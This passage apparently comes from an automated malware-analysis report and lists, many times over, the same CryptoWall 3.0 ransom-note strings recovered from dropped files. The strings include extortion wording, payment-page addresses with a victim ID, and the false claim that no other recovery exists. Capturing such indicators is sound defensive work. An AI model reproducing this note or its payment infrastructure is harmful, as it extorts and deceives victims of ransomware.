tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html336.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html58.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt238.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html399.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt282.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt110.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html202.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html304.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt262.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html190.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html329.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt286.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt240.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt139.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html97.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html313.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html173.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt59.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html352.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html280.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and 